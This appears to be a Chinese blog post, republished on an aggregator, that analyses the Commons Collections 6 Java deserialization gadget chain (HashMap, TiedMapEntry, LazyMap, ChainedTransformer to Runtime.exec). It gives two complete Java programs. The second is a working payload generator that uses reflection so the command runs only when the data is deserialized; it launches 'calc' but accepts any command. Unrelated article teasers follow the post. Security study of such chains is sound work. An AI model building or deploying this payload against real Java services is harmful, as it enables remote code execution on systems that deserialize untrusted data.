CommonCollections6链分析

news2025/1/21 18:56:08

前面和CC1一样
优点是不限制jdk版本和cc的版本

先开一个ChainedTransformer
在这里插入图片描述
然后创LazyMap 我们顺便执行一下避免上面写错
在这里插入图片描述
能弹计算器 没问题
后面就是CC6不同的地方了

我们需要一个TiedMapEntry
因为需要一个类调用了get方法
TiedMapEntrygetValue()方法中调用了get() 其中mapkey都可控
在这里插入图片描述
在这里插入图片描述
那么我们就需要一个类调用getValue方法 TiedMapEntry的hashCode方法就可以
在这里插入图片描述

然后类似URLDNS的链子 我们可以知道这里可以用HashMap连上
HashMapreadObject方法会调用hashCode
在这里插入图片描述
在这里插入图片描述
至此链子结束 我们可以写出如下代码

package org.example.CC6;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class Main {
    public static   void main(String[] args) throws ClassNotFoundException, IOException, NoSuchFieldException, IllegalAccessException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        Map map = new HashMap();
        Map lazyMap = LazyMap.decorate(map,chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"xxx");
        Map map2 = new HashMap();
        map2.put(tiedMapEntry,"ccc");
        serialize(map2);
        unSerialize("ser.bin");


    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unSerialize(String path) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(path));
        return ois.readObject();
    }
}

尝试执行 发现确实能弹计算器
但是这里存在和URLDNS一样的问题 , 就是这个计算器弹的时机是在map2.put的时候
而不是我们期望的反序列化的时候

原因是HashMap在put的时候已经给整条链走完了
在这里插入图片描述
在这里插入图片描述
因为这里的key != null 所以继续进了hashCode
在这里插入图片描述
LazyMap调用get
在这里插入图片描述
然后没有key put进去了 在后面反序列化的时候就有key
key就直接return map.get(key)

为了避免这种情况 我们需要 让最开始传入的东西不能形成链子 就是说改LazyMap 改 TiedMapEntry 之类的的都行,只要不在反序列化前弹计算器就行
然后要记得给put进来的key remove掉
于是最终代码如下

package org.example.CC6;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class Main {
    public static   void main(String[] args) throws ClassNotFoundException, IOException, NoSuchFieldException, IllegalAccessException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        Map map = new HashMap();
        Map lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "xxx");
        Map map2 = new HashMap();
        map2.put(tiedMapEntry, "ccc");
        lazyMap.remove("xxx");
        Field field = LazyMap.class.getDeclaredField("factory");
        field.setAccessible(true);
        field.set(lazyMap, chainedTransformer);

        serialize(map2);
        unSerialize("ser.bin");
    }



    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unSerialize(String path) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(path));
        return ois.readObject();
    }
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/812894.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

哪些元器件在未来会有更广泛的应用?

随着科技的发展和进步,电子技术已经成为现代社会的重要组成部分。元器件作为电子产品的基本构成单元,其发展和应用对于电子技术的进步和创新有着至关重要的作用。随着人工智能、物联网和智能制造等新兴技术的快速发展,一些元器件已经或者将在…

vue基础-diff算法

vue基础-diff算法 1、根元素改变2、根元素不变 1、根元素改变 同级比较-根元素的变化-整个dom树删除重建 2、根元素不变 同级比较,根元素不变-属性改变更新属性

【计算机网络】HTTP详解

系列综述: 💞目的:本系列是个人整理为了秋招工作面试的,整理期间苛求每个知识点,平衡理解简易度与深入程度。 🥰来源:材料主要源于小林Codeing进行的,每个知识点的修正和深入主要参考…

Prometheus 服务端与客户端

服务端安装配置 1)下载服务端: wget https://github.com/prometheus/prometheus/releases/download/v2.43.0-rc.0/prometheus-2.43.0-rc.0.linux-amd64.tar.gztar zxvf prometheus-2.43.0-rc.0.linux-amd64.tar.gz#解压 tar -xvf prometheus-2.32.1.li…

iOS开发-启动页广告实现

iOS开发-启动页广告实现 启动页广告实现是一个非常常见的广告展示模式。 就是在启动时候显示广告,之后点击跳转到广告页面或者其他APP。 一、实现启动页广告 启动页广告控件实现,将View放置在keyWindow上,显示广告图片,点击广告…

https://app.hackthebox.com/machines/Sau

https://app.hackthebox.com/machines/Sau https://app.hackthebox.com/machines/Sau1.info collecting └─$ nmap -A 10.10.11.224 -T4 Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-30 15:36 HKT Nmap scan report for 10.10.11.224 (10.10.11.224) Host is up (…

Arrays(数组)工具类

java.util.Arrays 是一个与数组相关的工具类,里面提供了大量静态方法,用来实现数组常见的操作。 Arrays.toString ( 数组名 )将参数数组变成字符串(按照默认格式:[10, 20, 30])Array.sort ( 数组名 ) 按照默认升序&…

C++ ------类和对象详解六大默认成员函数

文章目录 类的6个默认成员函数概念 构造函数概念特点 析构函数概念特征 拷贝构造函数概念特点 赋值运算符重载运算符重载的概念特性赋值运算符重载格式特性 取地址及const取地址操作符重载 类的6个默认成员函数 如果我们定义一个类,然后这个类中什么也没有。那么这里…

java之juc

juc是java.util.current的简写,意思是并发编程。 锁是什么?如何判断锁的是谁? 生产者和消费者问题 synchronized版本 package com.demo.juc.pc;/*** 线程之间的通信问题,生产者和消费者问题!* 线程交替执行** a b …

聊聊这几年的科技风口

作者:朱金灿 来源:clever101的专栏 为什么大多数人学不会人工智能编程?>>> 数数这几年的科技风口:AR(包括什么MR、VR)、区块链(包括后来的什么web3)、元宇宙到现在的AI,下面逐一谈谈…

AI创作ChatGPT源码系统搭建教程+附源码/支持GPT4.0/支持ai绘画/mj以图生图/Mind思维导图

本系统使用Nestjs和Vue3框架技术,持续集成AI能力到本系统! ● 支持微信环境静默登录(可开启或关闭)、浏览器微信主动扫码登录、邮箱注册登录 ● 无认证公众号后台可关闭微信登录功能 ● 支持GPT3模型、GPT4模型、GPT联网功能 ● M…

TMS WEB Core Crack,TMS软件Delphi组件RADical Web

TMS WEB Core Crack,TMS软件Delphi组件RADical Web 使用我们的现代web应用程序框架,可以节省宝贵的时间并创造丰富的用户体验。我们所有的工具都由经验丰富的开发人员组成的专门团队提供支持。您可以信赖卓越的服务、活跃的社区和我们不断的创新。TMS Software是您的…

Restful的详细介绍~

RESTFUL简介: Restful是我们看待服务器的一种方式,我们都知道Java一切皆对象,因此在Java中,我们可以将所有的内容都看成对象,而在这里,RESTFUL是我们看待服务器的一种方式,我们可将服务器中的所…

【计算机视觉|人脸建模】3D人脸重建基础知识(入门)

本系列博文为深度学习/计算机视觉论文笔记,转载请注明出处 一、三维重建基础 三维重建(3D Reconstruction)是指根据单视图或者多视图的图像重建三维信息的过程。 1. 常见三维重建技术 人工几何模型仪器采集基于图像的建模描述基于几何建模…

MP的开发流程-1

MP的开发流程 1、添加依赖 <?xml version"1.0" encoding"UTF-8"?> <project xmlns"http://maven.apache.org/POM/4.0.0" xmlns:xsi"http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation"http://maven.ap…

Java Design and development -- QQ chat

About ARTS - Complete one ARTS per week: ● Algorithm: Do at least one LeetCode algorithm per week Review: Read and comment on at least one technical article in English ● Tips: Learn at least one technical trick ● Share: Share a technical article with op…

#P0999. [NOIP2008普及组] 排座椅

题目描述 上课的时候总会有一些同学和前后左右的人交头接耳&#xff0c;这是令小学班主任十分头疼的一件事情。不过&#xff0c;班主任小雪发现了一些有趣的现象&#xff0c;当同学们的座次确定下来之后&#xff0c;只有有限的 DD 对同学上课时会交头接耳。 同学们在教室中坐…

不同情境下沟通有哪些可用的工具箱?

在不同情境下&#xff0c;沟通的工具箱可以包括以下几个方面&#xff1a; 面对面交流&#xff1a;面对面交流是最直接和有效的沟通方式。可以通过面对面的会议、面谈或小组讨论等方式进行沟通。面对面交流可以更好地传递情感和非语言信息&#xff0c;有助于建立信任和理解。 …